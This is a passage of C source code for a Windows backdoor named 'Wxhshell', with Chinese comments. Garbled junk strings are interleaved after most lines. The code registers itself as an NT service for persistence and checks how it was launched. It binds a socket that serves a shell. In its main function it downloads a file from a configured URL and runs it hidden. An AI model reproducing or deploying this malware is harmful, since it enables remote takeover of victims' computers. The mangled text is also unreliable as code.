} PROCESS_BASIC_INFORMATION; ]*U+nG
G5|'uKz2"
PROCNTQSIP NtQueryInformationProcess; 62kA(F0e,
XTA:Y7"O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #]QS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q8A+\LR~)
#F6<N]i
HANDLE hProcess; :L6%57
PROCESS_BASIC_INFORMATION pbi; (0l>P]"n
@#*{*
S8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?^J%S,
if(NULL == hInst ) return 0; {H>Tv,v|
o^/ fr&,9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W0;QufV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jd2 p~W
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]N,'3`&::
n^rbc;}
if (!NtQueryInformationProcess) return 0; !acuOBv,
h+7U'+|%A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j >`FZKxp
if(!hProcess) return 0; G0kF[8Am
G O"E>FyB
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $2Awp@j
me F.
CloseHandle(hProcess); [VLq/lg*
I %sw(uoE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "$b{EYq6
if(hProcess==NULL) return 0; N
A_8<B^
c6 .j$6t
HMODULE hMod; oKr= ]p
char procName[255]; @My
RcC
unsigned long cbNeeded; K47.zu
V)4?y9xZv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ KsKb0sM
eA3NyL
CloseHandle(hProcess); l: kW|
B
qINU
if(strstr(procName,"services")) return 1; // 以服务启动 w11L@t[5W8
O>I%O^
return 0; // 注册表启动 +3M1^:
} ?v-!`J>EF#
1FG"Ak}D
// 主模块 $C,`^n'
int StartWxhshell(LPSTR lpCmdLine) PN=5ICT
{ c,]fw2
SOCKET wsl; s0CDp"uJY
BOOL val=TRUE; Z%b1B<u$
int port=0; ]ncK M?'O
struct sockaddr_in door; U6o]7j&6
YE:5'@Z
if(wscfg.ws_autoins) Install(); J0YNzC4
JaR!9GVN7
port=atoi(lpCmdLine);
1D2RhM%
uKTYb#E7
if(port<=0) port=wscfg.ws_port; RQu[FZT,
[z*1#lj S
WSADATA data; 0+)1KU)I
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @*uZ+$
-O r\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zTl,VIa3p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J9f]=1`
door.sin_family = AF_INET; [g}0.J`_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ![eY%2;<
door.sin_port = htons(port); 1bDAi2 H
&LG|YvMY6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eYn/F~5-
closesocket(wsl); wzmQRn;s
return 1; >I0 a$w
} Jh36NE8r
0W_u"UY$c
if(listen(wsl,2) == INVALID_SOCKET) { ,1.Td=lY$
closesocket(wsl); ({$rb-
return 1; &os:h]
C
} 5|`./+Ghk
Wxhshell(wsl); pV!WZUfg
WSACleanup(); (dy:d^
K@oyvJ$
return 0; }7K~-
[ \%a7ji#
} snNB;hkj
qP zxP @4
// 以NT服务方式启动 jK%Lewq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (dx~lMI
{ @k# xr
DWORD status = 0; T1 1>&K)
DWORD specificError = 0xfffffff; x8C
*
_KBa`lhE
serviceStatus.dwServiceType = SERVICE_WIN32; \/nSRAk
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -G'3&L4
D
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]r%fAmj
serviceStatus.dwWin32ExitCode = 0; 3qDbfO[
serviceStatus.dwServiceSpecificExitCode = 0; ``@e7~F{
serviceStatus.dwCheckPoint = 0; )>iPx.hVSS
serviceStatus.dwWaitHint = 0; ;?TM_%>
V&/Cb&~Uw
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e~9g~k]s
if (hServiceStatusHandle==0) return; FF7?|V!Q
eLV[U
status = GetLastError(); ytb1h Fs
if (status!=NO_ERROR) fQ-IM/z
{ *+00
serviceStatus.dwCurrentState = SERVICE_STOPPED; oMYZ^b^
serviceStatus.dwCheckPoint = 0; kbbHa_;aqV
serviceStatus.dwWaitHint = 0; 7j(gW
serviceStatus.dwWin32ExitCode = status; MX+gc$Y
O
serviceStatus.dwServiceSpecificExitCode = specificError; ?(}~[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h&!$ `)
return; ^&c &5S}
} dQAF;L
4af^SZ)l
serviceStatus.dwCurrentState = SERVICE_RUNNING; `D$RL*C;M`
serviceStatus.dwCheckPoint = 0; j0n.+CO-{
serviceStatus.dwWaitHint = 0; )(c%QWz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |TF6&$>d
} -q
nOq[
0,8RA_Ca}
// 处理NT服务事件,比如:启动、停止 C~nL3w
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3{Zd<JYg4-
{ ZsYY)<n
switch(fdwControl) l&mY}k
{ v0bP|h[t
case SERVICE_CONTROL_STOP: ~E vGNnTL
serviceStatus.dwWin32ExitCode = 0; 9Sa6v?sRor
serviceStatus.dwCurrentState = SERVICE_STOPPED; xK5~9StP
serviceStatus.dwCheckPoint = 0; 7xO~v23oe
serviceStatus.dwWaitHint = 0; )YZx]6\l)
{ n;:C{5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =rkW325O
} u_8Z^T
return; ^i8(/iwdJE
case SERVICE_CONTROL_PAUSE: }}"|(2I
serviceStatus.dwCurrentState = SERVICE_PAUSED; v_pFI8Cz)
break; -3m!970
case SERVICE_CONTROL_CONTINUE: sWKdqs
serviceStatus.dwCurrentState = SERVICE_RUNNING; \>{;,f
break; e)87
&
7
case SERVICE_CONTROL_INTERROGATE: d7 :=axo,
break; g;7u-nP
}; kjOkPp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hDBo
XIK
} !-&;t7R
>9yy91H
// 标准应用程序主函数 ''q#zEf6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L!`PM.:9
{ b d C
8,e%=7h_e
// 获取操作系统版本 dOKe}?}==
OsIsNt=GetOsVer(); 5ci1ce
GetModuleFileName(NULL,ExeFile,MAX_PATH); T{=&>pNK[
@%fL*^yr;C
// 从命令行安装 6*
0vUy*"
if(strpbrk(lpCmdLine,"iI")) Install(); >Nx4 +|
"3_GFq
// 下载执行文件 [| N73m,&
if(wscfg.ws_downexe) { !\^W *nQ>l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dx$+,R~y
WinExec(wscfg.ws_filenam,SW_HIDE); O]j<